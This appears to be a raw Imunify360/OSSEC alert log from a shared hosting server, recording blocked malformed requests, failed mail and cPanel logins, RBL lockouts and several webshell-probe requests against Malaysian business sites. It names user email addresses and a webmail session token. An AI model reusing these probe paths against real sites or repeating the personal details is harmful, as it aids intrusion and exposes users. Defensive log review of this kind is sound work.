IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=448994 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-21 15:06:27 H=([45.144.212.242]) [45.144.212.242]:57381 F=<no_reply@admin.com> rejected RCPT <leeyw@fkr.com.my>: Sender verify failed


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 138.185.205.2
country_id: 3865483
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=405624 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.19.198.26
country_id: 1562822
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=872055 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.178.72.117
country_id: 1562822
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=978506 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 197.184.74.68
country_id: 953987
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=124717 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-21 15:06:45 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:59705: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 152.56.129.88
country_id: 1269750
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=672005 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.174.157.40
country_id: 3865483
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/oriental.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 15:07:29 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.227.54.92
country_id: 1562822
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=509827 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.242.202.12
country_id: 1562822
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-category.php?id=2&page_id=1 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.27.190.18
country_id: 1562822
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/gov-school.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 197.184.101.104
country_id: 953987
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/video.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-21 15:07:03 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:59706: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 179.96.173.123
country_id: 3469034
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=679911 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.218.6.103
country_id: 3996063
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=124214 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.161.142.189
country_id: 3996063
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=326660 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 2.63.176.6
country_id: 690791
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-category.php?id=5&page_id=7 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.91.85.242
country_id: 3437598
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-category.php?id=8&page_id=7 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.186.136.186
country_id: 1562822
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=503368 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 92.71.72.8
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:15-08.92.71.72.8||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.168.113.2
country_id: 1562822
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=771120 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 83.244.84.248
country_id: 6254930
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=480397 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.45.108
country_id: 1562822
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=402566 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.169.218.198
country_id: 1562822
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/news-details3.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.178.255.168
country_id: 1562822
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=443235 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.91.93.54
country_id: 2328926
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/few/9/89/965682 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 142.111.73.24
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:15-11.142.111.73.24||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.104.209
country_id: 3469034
description:
Jan 21 15:12:28 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.104.209 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 142.111.71.49
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:15-13.142.111.71.49||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 200.55.245.158
country_id: 3865483
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/tests/vendor/league/flysystem/src/Handler.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.7.95
country_id: 690791
description:
Jan 21 15:16:04 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.7.95 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.219.98.98
country_id: 798544
description:
Jan 21 15:16:23 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.219.98.98 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-21 15:17:04 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:59731: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.97.249.5
country_id: 3625428
domain: chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/chs.com.my/pipe-repair.html HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 92.71.72.8
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:15-18.92.71.72.8||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.95.49.166
country_id: 1269750
description:
Jan 21 15:19:33 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.95.49.166 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.49.166
country_id: 1269750
description:
2026-01-21 15:19:35 dovecot_login authenticator failed for H=([182.95.21.30]) [182.95.49.166]:39270: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 15:21:03 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.212.240.205
country_id: 1562822
description:
Jan 21 15:21:41 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.212.240.205 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 113.211.212.243
country_id: 1733045
description:
[2026-01-21 15:24:08 +0800] info [webmaild] 113.211.212.243 - lowts@lvconsult.com.my "GET /skins/elastic/images/favicon.ico?s=1765700565 HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.234.225.17
country_id: 6252001
description:
2026-01-21 15:25:20 dovecot_login authenticator failed for H=(localhost) [104.234.225.17]:14465: 535 Incorrect authentication data (set_id=info@visoft.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.67.97.50
country_id: 1835841
description:
2026-01-21 15:26:28 dovecot_login authenticator failed for H=(localhost) [45.67.97.50]:2039: 535 Incorrect authentication data (set_id=info@chs.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.67.97.50
country_id: 1835841
description:
2026-01-21 15:27:04 dovecot_login authenticator failed for H=(localhost) [45.67.97.50]:44245: 535 Incorrect authentication data (set_id=info@af-sb.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.8.96
country_id: 3175395
description:
Jan 21 15:28:28 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.8.96 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.251.102.22
country_id: 241170
description:
Jan 21 15:29:19 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.251.102.22 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 138.219.218.62
country_id: 3865483
domain: www.usfood.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.usfood.com.my/product-details.php?id=109540 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 15:30:57 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.124.164
country_id: 1733045
description:
2026-01-21 15:30:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.124.164]:12781: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-21 15:30:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:52830: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 175.136.123.47
country_id: 1733045
description:
[2026-01-21 15:30:45 +0800] info [webmaild] 175.136.123.47 - pylim@af-sb.com "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.241.68.49
country_id: 1562822
domain: usfood.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/usfood.com.my/ HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 150.241.162.204
country_id: 6252001
domain: www.nobledec.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.nobledec.com/thumb.php?src=img/photos/8931743669.jpg&size=262*388 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.124.164
country_id: 1733045
description:
2026-01-21 15:32:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.124.164]:21481: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.190.74.174
country_id: 3469034
description:
Jan 21 15:32:15 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.190.74.174 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.170.88
country_id: 3175395
description:
Jan 21 15:32:46 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.170.88 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.170.88
country_id: 3175395
description:
Jan 21 15:32:59 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.170.88 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 60.52.137.110
country_id: 1733045
description:
[2026-01-21 15:33:48 +0800] info [webmaild] 60.52.137.110 - hakim@pftfood.com "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.172.17.83
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=52591515983696 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 60.52.137.110
country_id: 1733045
description:
[2026-01-21 15:33:57 +0800] info [webmaild] 60.52.137.110 - hakim@pftfood.com "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.117.182.168
country_id: 3865483
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/tests/vendor/symfony/translation/Loader/IcuResFileLoader.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-21 15:35:04 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:59848: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.177.82.7
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=63491515046145 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.59.231
country_id: 953987
description:
Jan 21 15:37:18 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.59.231 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.86.202.35
country_id: 2921044
description:
2026-01-21 15:38:13 dovecot_login authenticator failed for H=(localhost) [45.86.202.35]:26152: 535 Incorrect authentication data (set_id=info@garudabay.com)


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 85.121.5.30
country_id: 798549
domain: manforce.net
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/130.0.6723.0 Safari/637.39||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 41.71.61.203
country_id: 953987
domain: appointment.visoft.com.my
description:
IM360 WAF: Bad file extension||RSV:7.64||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/symfony/translation/Tests/fixtures/empty.ini||User:visoftcom||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.71.61.203
country_id: 953987
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/symfony/translation/Tests/fixtures/empty.ini HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 15:44:36 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 78.153.140.207
country_id: 2635167
description:
2026-01-21 15:44:07 H=(localhost.localdomain) [78.153.140.207]:50702 X=TLS1.2:ECDHE-RSA-AES256-GCM-SHA384:256 F=<no-reply@no-reply.com> rejected RCPT <a@b12.siagabaja.com>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.212.240.205
country_id: 1562822
description:
Jan 21 15:44:16 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.212.240.205 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 27.125.240.3
country_id: 1733045
description:
[2026-01-21 15:45:23 +0800] info [webmaild] 27.125.240.3 - cmchin@chs.com.my "GET /cpsess2689405189/3rdparty/roundcube/?_task=mail&_download=1&_mbox=INBOX&_uid=10656&_part=2&_action=get&_extwin=1&_token=k7h0eZdcJV2LGSSkpqCHfab6iJo2Pl7K HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.44
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/img/photos/images/testimonial.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 38.252.65.38
country_id: 3469034
description:
Jan 21 15:46:24 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 38.252.65.38 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.129.199
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/fphortier/images/about.php||SC:/home/sutsbcom/public_html/fphortier||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.129.199
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/about-sinaran-utama-teknologi/images/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/faq.php||SC:/home/sutsbcom/public_html/about-sinaran-utama-teknologi||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 185.66.252.73
country_id: 1527747
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/symfony/http-foundation/phpunit.xml.dist HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 15:54:37 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.139.178.45
country_id: 1733045
description:
[2026-01-21 15:55:33 +0800] info [webmaild] 175.139.178.45 - payment@tujusetia.my "GET /cpsess9134142965/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 49.244.63.188
country_id: 1282988
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=92381526630256 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.240.167.41
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=26261518080760 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 46.151.182.48
country_id: 2750405
description:
2026-01-21 15:56:49 H=([46.151.182.48]) [46.151.182.48]:64513 F=<mailerd@ktlog.com.my> rejected RCPT <stacy@ktlog.com.my>: smtp auth required


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.170.238
country_id: 3175395
description:
Jan 21 15:57:29 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.170.238 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-21 15:58:07 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:52969: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.45.103.76
country_id: 3469034
description:
Jan 21 15:57:59 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.45.103.76 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.124.164
country_id: 1733045
description:
2026-01-21 15:58:07 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.124.164]:12786: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.124.164
country_id: 1733045
description:
2026-01-21 16:00:10 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.124.164]:21487: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.184.227.144
country_id: 3865483
description:
Jan 21 16:02:21 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.184.227.144 has been locked due to Imunify RBL


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 43.130.244.36
country_id: 1861060
description:
2026-01-21 16:03:13 479714 [Warning] Aborted connection 479714 to db: 'unconnected' user: 'unauthenticated' host: '43.130.244.36' (This connection closed normally without authentication)


plugin: ossec
rule: 50146
name: Multiple aborted logins to database.
abuser: 43.130.244.36
country_id: 1861060
description:
2026-01-21 16:03:13 479721 [Warning] Aborted connection 479721 to db: 'unconnected' user: 'unauthenticated' host: '43.130.244.36' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-21 16:05:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:59930: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.129.199
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/wp-content/themes/clean-commerce/third-party/images/sliders/cdn-cgi/l/cdn-cgi/l/news.php||SC:/home/sutsbcom/public_html/wp-content/themes/clean-commerce||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.234.137.193
country_id: 1562822
domain: medinova.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/medinova.com.my/images/result01.gif HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.109.173
country_id: 1562822
domain: medinova.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/medinova.com.my/images/result03.gif HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.245.14.116
country_id: 1562822
domain: medinova.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/medinova.com.my/images/result02.gif HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.246.210.91
country_id: 798544
description:
